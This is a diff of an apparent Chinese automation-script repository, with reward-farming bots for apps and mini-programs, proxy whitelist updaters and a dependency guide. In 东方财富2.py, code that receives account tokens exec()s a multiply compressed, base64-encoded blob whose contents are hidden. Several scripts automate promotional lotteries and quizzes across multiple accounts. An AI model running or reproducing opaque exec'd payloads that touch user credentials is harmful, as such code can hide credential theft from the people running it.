print(f"{'=' * 17}{'=' * 17}", flush=True)
|
||||
print(f"🔔 自动提现已关闭,不执行提现\n", flush=True)
|
||||
else:
|
||||
print(f"❗获取用户信息失败", flush=True)
|
||||
exit()
|
||||
|
||||
|
||||
def notice():
|
||||
try:
|
||||
print(requests.get("https://gitee.com/gngkj/wxyd/raw/master/label.txt", timeout=5).text)
|
||||
except requests.RequestException as e:
|
||||
print(f"❗网络异常,获取通知时出错: {e}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
notice()
|
||||
accounts = os.getenv("xyy")
|
||||
money_Withdrawal = 0 if os.getenv("xyytx", "0") == "0" else 1
|
||||
UA = os.getenv("UA"); None if UA is not None else (print("❗未找到变量UA", flush=True), exit())
|
||||
if accounts is None: print("❗未找到变量xyy", flush=True); exit()
|
||||
else:
|
||||
accounts_list = accounts.split("@")
|
||||
num_of_accounts = len(accounts_list)
|
||||
print(f"\n获取到 {num_of_accounts} 个账号", flush=True)
|
||||
for i, account in enumerate(accounts_list, start=1):
|
||||
process_account(account, i)
|
||||
143
decode/品赞代理签到.py
Normal file
143
decode/品赞代理签到.py
Normal file
File diff suppressed because one or more lines are too long
31
decode/河马剧场脚本_py3.11(1).py
Normal file
31
decode/河马剧场脚本_py3.11(1).py
Normal file
File diff suppressed because one or more lines are too long
3
label.txt
Normal file
3
label.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
欢迎关注公众号【极客快乐营】
|
||||
公众号二维码:
|
||||
https://free-img.400040.xyz/4/2025/06/30/686174d049215.png
|
||||
1472
sendNotify.js
Normal file
1472
sendNotify.js
Normal file
File diff suppressed because it is too large
Load Diff
152
util/IP代理自动加白名单.py
Normal file
152
util/IP代理自动加白名单.py
Normal file
@@ -0,0 +1,152 @@
|
||||
# cron: 10 */2 * * *
|
||||
# new Env('更新IP代理白名单');
|
||||
import os
|
||||
|
||||
# 长期套餐大额流量电话卡办理地址:https://img.hnking.cn//blog/202504141427660.png
|
||||
|
||||
## 携趣代理地址 https://www.xiequ.cn/index.html?d630539f
|
||||
## 星空代理地址 https://www.xkdaili.com/
|
||||
## 巨量代理地址 https://www.juliangip.com/user/reg?inviteCode=1040216
|
||||
# 携趣环境变量 export XIEQU='UID=xxx;UKEY=xxx'
|
||||
# 星空环境变量 export XK='APIKEY=xxx;SIGN=xxx'
|
||||
# 巨量环境变量 export JULIANG='KEY=xxx;TRADE_NO=xxx'
|
||||
|
||||
import requests
|
||||
import hashlib
|
||||
import urllib.parse
|
||||
|
||||
|
||||
|
||||
class SignKit:
|
||||
|
||||
@staticmethod
|
||||
def md5_sign(params, secret):
|
||||
sign_content = SignKit.get_sign_content(params)
|
||||
return hashlib.md5((sign_content + '&key=' + secret).encode('utf-8')).hexdigest()
|
||||
|
||||
@staticmethod
|
||||
def get_sign_content(params):
|
||||
params.pop('sign', None) # 删除 sign
|
||||
sorted_params = sorted(params.items())
|
||||
sign_content = '&'.join(
|
||||
[f"{k}={str(v)}" for k, v in sorted_params if str(v) is not None and not str(v).startswith('@')])
|
||||
return sign_content
|
||||
|
||||
|
||||
# def get_current_ip():
|
||||
# response = requests.get('https://myip.ipip.net/json')
|
||||
# data = response.json()
|
||||
# return data['data']['ip']
|
||||
def get_current_ip():
|
||||
"""获取当前 IP 地址"""
|
||||
try:
|
||||
response = requests.get('https://httpbin.org/ip')
|
||||
response.raise_for_status()
|
||||
res = response.json().get('origin')
|
||||
return res
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"Failed to fetch the current IP: {e}")
|
||||
return get_current_ip2()
|
||||
|
||||
|
||||
# https://ip.3322.net
|
||||
|
||||
def get_current_ip2():
|
||||
api_url = f"https://ip.3322.net"
|
||||
try:
|
||||
response = requests.get(api_url)
|
||||
response.raise_for_status()
|
||||
return response.text
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"Failed to fetch information for IP: {e}")
|
||||
|
||||
|
||||
def update_juliang_white_list(ip, JULIANG_KEY, JULIANG_TRADE_NO):
|
||||
if JULIANG_KEY and JULIANG_TRADE_NO:
|
||||
params = {
|
||||
'new_ip': ip,
|
||||
'reset': '1',
|
||||
'trade_no': JULIANG_TRADE_NO
|
||||
}
|
||||
sign = SignKit.md5_sign(params, JULIANG_KEY)
|
||||
query_string = urllib.parse.urlencode(params) + "&sign=" + sign
|
||||
|
||||
url = f'http://v2.api.juliangip.com/dynamic/replaceWhiteIp?{query_string}'
|
||||
response = requests.get(url)
|
||||
return response.text
|
||||
|
||||
|
||||
def update_xk_white_list(ip, XK_APIKEY, XK_SIGN):
|
||||
if XK_APIKEY and XK_SIGN:
|
||||
url = f'http://api2.xkdaili.com/tools/XApi.ashx?apikey={XK_APIKEY}&type=addwhiteip&sign={XK_SIGN}&flag=8&ip={ip}'
|
||||
response = requests.get(url)
|
||||
return response.text
|
||||
|
||||
|
||||
def update_xiequ_white_list(ip, XIEQU_UID, XIEQU_UKEY):
|
||||
if XIEQU_UID and XIEQU_UKEY:
|
||||
url = f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=get'
|
||||
response = requests.get(url)
|
||||
data = response.text
|
||||
print(data)
|
||||
arr = data.split(',')
|
||||
print(arr)
|
||||
if ip in arr:
|
||||
return '携趣白名单ip未变化'
|
||||
if ip not in arr:
|
||||
requests.get(f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=del&ip=all')
|
||||
response = requests.get(
|
||||
f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=add&ip={ip}')
|
||||
return '更新xiequ白名单成功' if response.status_code == 200 else '更新xiequ白名单出错'
|
||||
else:
|
||||
return '携趣白名单ip未变化'
|
||||
|
||||
|
||||
def main():
|
||||
ip = get_current_ip()
|
||||
|
||||
|
||||
print('当前ip地址:', ip)
|
||||
print('''#长期套餐大额流量电话卡办理地址:https://img.hnking.cn//blog/202504141427660.png
|
||||
## 携趣代理地址 https://www.xiequ.cn/index.html?d630539f
|
||||
## 星空代理地址 https://www.xkdaili.com/
|
||||
## 巨量代理地址 https://www.juliangip.com/user/reg?inviteCode=1040216
|
||||
# 携趣环境变量 export XIEQU='UID=xxx;UKEY=xxx'
|
||||
# 星空环境变量 export XK='APIKEY=xxx;SIGN=xxx'
|
||||
# 巨量环境变量 export JULIANG='KEY=xxx;TRADE_NO=xxx'
|
||||
''')
|
||||
# 从青龙面板 获取变量
|
||||
# export XIEQU='UID=xxx;UKEY=xxx'
|
||||
# export XK='APIKEY=xxx;SIGN=xxx'
|
||||
# export JULIANG='KEY=xxx;TRADE_NO=xxx'
|
||||
JULIANG_KEY = '' # 填入巨量的 Key
|
||||
JULIANG_TRADE_NO = '' # 填入巨量的 Trade No
|
||||
XK_APIKEY = '' # 填入星空的 API Key
|
||||
XK_SIGN = '' # 填入星空的 Sign
|
||||
XIEQU_UID = '' # 填入携趣的 UID
|
||||
XIEQU_UKEY = '' # 填入携趣的 UKEY
|
||||
|
||||
JULIANG = os.getenv('JULIANG')
|
||||
XK = os.getenv('XK')
|
||||
XIEQU = os.getenv('XIEQU')
|
||||
if XIEQU != None:
|
||||
XIEQU_UID = XIEQU.split(';')[0].split('=')[1]
|
||||
XIEQU_UKEY = XIEQU.split(';')[1].split('=')[1]
|
||||
if JULIANG != None:
|
||||
JULIANG_KEY = JULIANG.split(';')[0].split('=')[1]
|
||||
JULIANG_TRADE_NO = JULIANG.split(';')[1].split('=')[1]
|
||||
if XK != None:
|
||||
XK_APIKEY = XK.split(';')[0].split('=')[1]
|
||||
XK_SIGN = XK.split(';')[1].split('=')[1]
|
||||
|
||||
print('更新当前IP:', ip)
|
||||
if JULIANG_KEY != None and JULIANG_TRADE_NO != None:
|
||||
print('更新巨量白名单结果:', update_juliang_white_list(ip, JULIANG_KEY, JULIANG_TRADE_NO))
|
||||
if XK_APIKEY != None and XK_SIGN != None:
|
||||
print('更新星空白名单结果:', update_xk_white_list(ip, XK_APIKEY, XK_SIGN))
|
||||
if XIEQU_UID != None and XIEQU_UKEY != None:
|
||||
print('更新携趣白名单结果:', update_xiequ_white_list(ip, XIEQU_UID, XIEQU_UKEY))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
100
代理签到白名单/携趣ip白名单.py
Normal file
100
代理签到白名单/携趣ip白名单.py
Normal file
@@ -0,0 +1,100 @@
|
||||
# cron: 10 */2 * * *
|
||||
# new Env('携趣IP白名单');
|
||||
import os
|
||||
|
||||
# 长期套餐大额流量电话卡办理地址:https://img.hnking.cn//blog/202504141427660.png
|
||||
## 携趣代理地址 https://www.xiequ.cn/index.html?d630539f
|
||||
|
||||
# 携趣环境变量 export XIEQU='UID=xxx;UKEY=xxx'
|
||||
|
||||
|
||||
import requests
|
||||
import hashlib
|
||||
import urllib.parse
|
||||
|
||||
|
||||
|
||||
|
||||
# def get_current_ip():
|
||||
# response = requests.get('https://myip.ipip.net/json')
|
||||
# data = response.json()
|
||||
# return data['data']['ip']
|
||||
def get_current_ip():
|
||||
"""获取当前 IP 地址"""
|
||||
try:
|
||||
response = requests.get('https://httpbin.org/ip')
|
||||
response.raise_for_status()
|
||||
res = response.json().get('origin')
|
||||
return res
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"Failed to fetch the current IP: {e}")
|
||||
return get_current_ip2()
|
||||
|
||||
|
||||
# https://ip.3322.net
|
||||
|
||||
def get_current_ip2():
|
||||
api_url = f"https://ip.3322.net"
|
||||
try:
|
||||
response = requests.get(api_url)
|
||||
response.raise_for_status()
|
||||
return response.text
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"Failed to fetch information for IP: {e}")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
def update_xiequ_white_list(ip, XIEQU_UID, XIEQU_UKEY):
|
||||
if XIEQU_UID and XIEQU_UKEY:
|
||||
url = f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=get'
|
||||
response = requests.get(url)
|
||||
data = response.text
|
||||
print(data)
|
||||
arr = data.split(',')
|
||||
print(arr)
|
||||
if ip in arr:
|
||||
return '携趣白名单ip未变化'
|
||||
if ip not in arr:
|
||||
requests.get(f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=del&ip=all')
|
||||
response = requests.get(
|
||||
f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=add&ip={ip}')
|
||||
return '更新xiequ白名单成功' if response.status_code == 200 else '更新xiequ白名单出错'
|
||||
else:
|
||||
return '携趣白名单ip未变化'
|
||||
|
||||
|
||||
def main():
|
||||
ip = get_current_ip()
|
||||
|
||||
|
||||
print('当前ip地址:', ip)
|
||||
print('''#长期套餐大额流量电话卡办理地址:https://img.hnking.cn//blog/202504141427660.png
|
||||
## 携趣代理地址 https://www.xiequ.cn/index.html?d630539f
|
||||
# 携趣环境变量 export XIEQU='UID=xxx;UKEY=xxx'
|
||||
|
||||
''')
|
||||
# 从青龙面板 获取变量
|
||||
# export XIEQU='UID=xxx;UKEY=xxx'
|
||||
|
||||
XIEQU_UID = '' # 填入携趣的 UID
|
||||
XIEQU_UKEY = '' # 填入携趣的 UKEY
|
||||
|
||||
|
||||
XIEQU = os.getenv('XIEQU')
|
||||
if XIEQU != None:
|
||||
XIEQU_UID = XIEQU.split(';')[0].split('=')[1]
|
||||
XIEQU_UKEY = XIEQU.split(';')[1].split('=')[1]
|
||||
|
||||
|
||||
print('更新当前IP:', ip)
|
||||
if XIEQU_UID != None and XIEQU_UKEY != None:
|
||||
print('更新携趣白名单结果:', update_xiequ_white_list(ip, XIEQU_UID, XIEQU_UKEY))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
76
使用教程.md
Normal file
76
使用教程.md
Normal file
@@ -0,0 +1,76 @@
|
||||
## 自用收集感谢打赏
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
# 订阅
|
||||
订阅管理 --> 新建订阅
|
||||

|
||||
|
||||
# 拉库
|
||||

|
||||
|
||||
## py 依赖
|
||||
```
|
||||
pycryptodome
|
||||
pytz
|
||||
typescript
|
||||
httpx
|
||||
success
|
||||
--upgrade pip
|
||||
pip
|
||||
redis
|
||||
jieba
|
||||
canvas
|
||||
requests
|
||||
ping3
|
||||
PyExecJS
|
||||
|
||||
```
|
||||
## node 依赖
|
||||
|
||||
```
|
||||
ds
|
||||
json5
|
||||
js-base64
|
||||
require
|
||||
tough-cookie
|
||||
jsdom
|
||||
global-agent
|
||||
@types/node
|
||||
typescript
|
||||
dotenv
|
||||
jsdom -g
|
||||
form-data
|
||||
png-js
|
||||
ts-md5
|
||||
tslib
|
||||
jieba
|
||||
ws@7.4.3
|
||||
axios
|
||||
date-fns
|
||||
moment
|
||||
prettytable
|
||||
fs
|
||||
crypto-js
|
||||
ts-node
|
||||
depend
|
||||
ds
|
||||
jsdom
|
||||
requests
|
||||
npm
|
||||
node-jsencrypt
|
||||
-g npm
|
||||
cjs
|
||||
upgrade pip
|
||||
common
|
||||
qs
|
||||
ql
|
||||
crypto -g
|
||||
-g typescipt
|
||||
https
|
||||
proxy
|
||||
agent
|
||||
|
||||
```
|
||||
39
其他/东方财富2.py
Normal file
39
其他/东方财富2.py
Normal file
@@ -0,0 +1,39 @@
|
||||
'''
|
||||
export dfcf='CToken#UToken#EM-MD#GToken'
|
||||
多账户@ 分割 账号后面不要有备注去掉
|
||||
|
||||
'''
|
||||
#有问题请及时联系大大鸣 v:xolag29638099 (有其他想要的脚本也可以联系,尽量试着写一写)
|
||||
#Expecting value: line 1 column 1 (char 0) 报错请求频繁 过段时间重试即可
|
||||
#
|
||||
# --------------------------------祈求区--------------------------------
|
||||
# _ooOoo_
|
||||
# o8888888o
|
||||
# 88" . "88
|
||||
# (| -_- |)
|
||||
# O\ = /O
|
||||
# ____/`---'\____
|
||||
# . ' \\| |// `.
|
||||
# / \\||| : |||// \
|
||||
# / _||||| -:- |||||- \
|
||||
# | | \\\ - /// | |
|
||||
# | \_| ''\---/'' | |
|
||||
# \ .-\__ `-` ___/-. /
|
||||
# ___`. .' /--.--\ `. . __
|
||||
# ."" '< `.___\_<|>_/___.' >'"".
|
||||
# | | : `- \`.;`\ _ /`;.`/ - ` : | |
|
||||
# \ \ `-. \_ __\ /__ _/ .-` / /
|
||||
# ======`-.____`-.___\_____/___.-`____.-'======
|
||||
# `=---='
|
||||
#
|
||||
# .............................................
|
||||
# 佛祖保佑 永无BUG
|
||||
# 佛祖镇楼 BUG辟邪
|
||||
# --------------------------------代码区--------------------------------
|
||||
import base64
|
||||
import zlib
|
||||
import lzma
|
||||
import bz2
|
||||
import gzip
|
||||
|
||||
exec((lambda _: compile(_.decode(),'','exec'))(zlib.decompress(lzma.decompress(bz2.decompress(gzip.decompress(base64.b64decode(b'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')))))))
|
||||
105
其他/伊利甄选.py
Normal file
105
其他/伊利甄选.py
Normal file
@@ -0,0 +1,105 @@
|
||||
"""
|
||||
实物收益参考:免单卷虚拟会员卷
|
||||
1.#小程序://甄稀冰淇淋/Zr6Cnm6ShD5Z6up,进入活动授权登陆。
|
||||
2.然后打开抓包软件,抓包之前关闭小程序重新进入下抓域名msmarket.msx.digitalyili.com的参数值。
|
||||
提交格式:mobile#access-token 格式不对系统是无法提交的。
|
||||
*提交格式示列:150xxx192#xka9vTYME6TOoeGUjszAPJwwR70Vdwx1xbJnZHXYPz/p2+ZEvIMfn9Sw2n8GMc0nY8ZZPTlqf2Dwl2r76bGnWj88IkS8hLk9Un9jxxx
|
||||
export ylzx="mark#access-token"
|
||||
#小程序://甄稀冰淇淋/Zr6Cnm6ShD5Z6up
|
||||
"""
|
||||
#import notify
|
||||
import requests, json, re, os, sys, time, random, datetime, threading, execjs
|
||||
environ = "ylzx"
|
||||
name = "꧁༺ 伊利༒甄稀 ༻꧂"
|
||||
session = requests.session()
|
||||
#---------------------主代码区块---------------------
|
||||
|
||||
def run(arg1):
|
||||
header = {
|
||||
"Host": "msmarket.msx.digitalyili.com",
|
||||
"Content-Type": "application/json",
|
||||
"Connection": "keep-alive",
|
||||
"Accept": "*/*",
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b13)XWEB/11581",
|
||||
"access-token": arg1,
|
||||
"Sec-Fetch-Site": "same-site",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9"
|
||||
}
|
||||
try:
|
||||
url = 'https://msmarket.msx.digitalyili.com/gateway/api/auth/account/user/info'
|
||||
response = session.get(url=url, headers=header).json()
|
||||
if not response["data"]:
|
||||
print(f'⭕异常:需更新token')
|
||||
return
|
||||
else:
|
||||
openId = response["data"]["openId"]
|
||||
headeract = {
|
||||
"Host": "zhenxiapp-admin.msxapi.digitalyili.com",
|
||||
"Content-Type": "application/json",
|
||||
"Connection": "keep-alive",
|
||||
"Accept": "*/*",
|
||||
"x-requested-with": "com.tencent.mm",
|
||||
"priority": "u=1, i",
|
||||
"User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/130.0.6723.103 Mobile Safari/537.36 XWEB/1300473 MMWEBSDK/20250201 MMWEBID/6533 MicroMessenger/8.0.57.2820(0x2800393F) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx21fd8b5d6d4cf1ca",
|
||||
"sec-ch-ua-mobile": "?1",
|
||||
"sec-ch-ua-platform": "Android",
|
||||
"sec-ch-ua": '"Chromium";v="130", "Android WebView";v="130", "Not?A_Brand";v="99"',
|
||||
"Sec-Fetch-Site": "same-site",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9"
|
||||
}
|
||||
for i in range(3):
|
||||
url = ' https://zhenxiapp-admin.msxapi.digitalyili.com/api/draw_wh'
|
||||
response = session.post(url=url, headers=headeract,json={"openid":openId}).json()
|
||||
print(f'☁️抽奖:{response["data"]["prize_name"]}')
|
||||
url = 'https://zhenxiapp-admin.msxapi.digitalyili.com/api/draw_records_wh'
|
||||
response = session.post(url=url, headers=headeract,json={"openid":openId,"page":1,"pageSize":100}).json()
|
||||
if response["data"]:
|
||||
for item in response["data"]["data"]:
|
||||
prizeid = item["id"]
|
||||
status = item["status"]
|
||||
prize_name = item["prize_name"]
|
||||
if status == 1:
|
||||
url = 'https://zhenxiapp-admin.msxapi.digitalyili.com/api/set_coupon_wh'
|
||||
response = session.post(url=url, headers=headeract,json={"openid":openId,"record_id":prizeid}).json()
|
||||
if response["msg"] != 'success':
|
||||
print(f'⭕领取:{response["msg"]}')
|
||||
if not ("199-120" in prize_name):
|
||||
print(f'好券:{prize_name}')
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def main():
|
||||
|
||||
|
||||
global id, message
|
||||
message = []
|
||||
if os.environ.get(environ):
|
||||
ck = os.environ.get(environ)
|
||||
else:
|
||||
ck = ""
|
||||
if ck == "":
|
||||
print("⭕请设置变量")
|
||||
sys.exit()
|
||||
ck_run = ck.split('\n')
|
||||
ck_run = [item for item in ck_run if item]
|
||||
print(f"{' ' * 7}{name}\n\n")
|
||||
for i, ck_run_n in enumerate(ck_run):
|
||||
try:
|
||||
mark,arg1 = ck_run_n.split('#',2)
|
||||
id = mark[:3] + "*****" + mark[-3:]
|
||||
print(f"账号 [{i + 1}/{len(ck_run)}]:{id}")
|
||||
run(arg1)
|
||||
time.sleep(random.randint(1, 2))
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print(f"\n\n-------- ☁️ 执 行 结 束 ☁️ --------\n\n")
|
||||
if message:
|
||||
output = '\n'.join(num for num in message)
|
||||
notify.send(name, output)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
102
其他/果派.py
Normal file
102
其他/果派.py
Normal file
@@ -0,0 +1,102 @@
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import requests
|
||||
|
||||
|
||||
class Run:
|
||||
def __init__(self, openid, task_id):
|
||||
self.TaskId = task_id
|
||||
self.openid = openid
|
||||
self.token = ''
|
||||
self.header = {
|
||||
'Host': 'api.vip.xvnn.cn',
|
||||
'Connection': 'keep-alive',
|
||||
'Content-Length': '84',
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090719) XWEB/8431 Flue',
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json',
|
||||
'Origin': 'https://fqzw0h.vip.xvnn.cn',
|
||||
'Sec-Fetch-Site': 'same-site',
|
||||
'Sec-Fetch-Mode': 'cors',
|
||||
'Sec-Fetch-Dest': 'empty',
|
||||
'Referer': 'https://fqzw0h.vip.xvnn.cn/',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9'
|
||||
}
|
||||
|
||||
def do_post(self, url, data):
|
||||
response = requests.post(url=url, data=json.dumps(data), headers=self.header)
|
||||
return response.json()
|
||||
|
||||
def do_get(self, url):
|
||||
response = requests.get(url=url, headers=self.header, timeout=5)
|
||||
return response.json()
|
||||
def task_ok(self):
|
||||
# 获取userActivityId
|
||||
url = f'http://api.vip.xvnn.cn/api-user/v2/activityDetatil?id={self.TaskId}&withMaterial=1'
|
||||
response = self.do_get(url=url)
|
||||
if response["status"] == 'success':
|
||||
userActivityId = response["meta"]["joinInfo"]["userActivityId"]
|
||||
activity_id = response["data"]['activity_id']
|
||||
question = response["data"]["materialDetail"]["questions"][0]["question"]
|
||||
answers = response["data"]["materialDetail"]["questions"][0]["answer"]
|
||||
for index, answer in enumerate(answers):
|
||||
if answer["result"] == "1":
|
||||
item = index
|
||||
break
|
||||
right_answer_text = "0_" + str(item)
|
||||
right_answer = [right_answer_text]
|
||||
print(f"本期答题得题目为: {question}, 正确答案为: {right_answer}")
|
||||
print(f"获取到了userActivityId为{userActivityId}, activity_id为{activity_id}")
|
||||
time.sleep(1)
|
||||
url = 'https://api.vip.xvnn.cn/api-user/v1/activityWatchVideoOver'
|
||||
body ={"userActivityId":userActivityId}
|
||||
response = self.do_post(url=url, data=body)
|
||||
if response["status"] == 'success':
|
||||
print("观看视频成功,1S后领取奖励")
|
||||
time.sleep(1)
|
||||
url = "https://api.vip.xvnn.cn/api-user/v1/receiveAwardAndWatchOver"
|
||||
body = {"activity_id": activity_id, "answers": right_answer}
|
||||
response = self.do_post(url=url, data=body)
|
||||
if response["status_code"] == 200:
|
||||
money = response["data"]["red_money"]
|
||||
print(f"领取奖励成功->{money}")
|
||||
else:
|
||||
print(f"领取奖励失败->{response}")
|
||||
else:
|
||||
print("观看视频失败")
|
||||
else:
|
||||
print("获取参数失败了")
|
||||
|
||||
pass
|
||||
|
||||
def do_task(self):
|
||||
# 登录获取token
|
||||
